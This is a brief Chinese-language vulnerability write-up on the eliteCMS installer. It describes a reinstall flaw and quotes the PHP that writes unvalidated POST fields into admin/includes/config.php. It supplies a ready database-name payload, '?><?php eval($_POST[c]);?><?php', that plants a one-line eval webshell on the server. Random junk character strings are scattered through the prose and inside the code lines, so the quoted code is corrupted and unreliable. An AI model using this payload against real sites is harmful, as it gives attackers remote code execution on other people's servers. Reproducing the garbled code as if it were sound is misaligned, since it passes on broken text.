eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
! m& U5 y/ i9 C1 _我们来看代码：

+ r8 K0 t- \8 Q) R$ J# x! t...
! G: f. B. v) c8 {4 welseif ($_GET['step'] == "4") {
5 J9 a% ?/ j. h2 c7 p1 m1 H4 ~( l9 ~    $file = "../admin/includes/config.php";
$ S# Q" u" q( K0 d& R/ G    $write = "<?php\n";
    $write .= "/**\n";
0 G& j5 q' g0 ^0 O/ b& u    $write .= "*\n";
+ H- T9 c0 U: k    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* u8 X( J( V' D" x# Y! o...略...
$ z/ _8 d  b' j) u    $write .= "*\n";
    $write .= "*/\n";
+ {9 ?# o5 _( u5 n2 ?; z* i* u    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( @; O* |& |4 u; t    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
7 `# d( |% [( m' E) X+ @8 V    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
5 z/ X0 ?; {+ m8 Q    $write .= "if (!\$connection) {\n";
0 X) x% J0 _; A% g/ l" \    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
* K$ U5 R. m3 k. L    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
) Q; U- V, }  o, b! O    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
...

" Q  R% @& v2 M0 }+ l& ~在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 |) l4 _7 @7 t+ u( }% ~1 T: l' u: ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

2 k) B! n# m  U8 M取值未作任何验证
3 }2 P3 y/ W$ T' s+ X如果将数据库名POST数据：
  Q0 A* }, r4 f! x$ B9 ~, x
1 _/ j- n  m  L. T% ]"?><?php eval($_POST[c]);?><?php

1 d7 s, ^" m* w7 r4 i将导致一句话后门写入/admin/includes/config.php
6 u* d6 F3 s! x$ B+ _6 ~' t2 T6 G' {2 o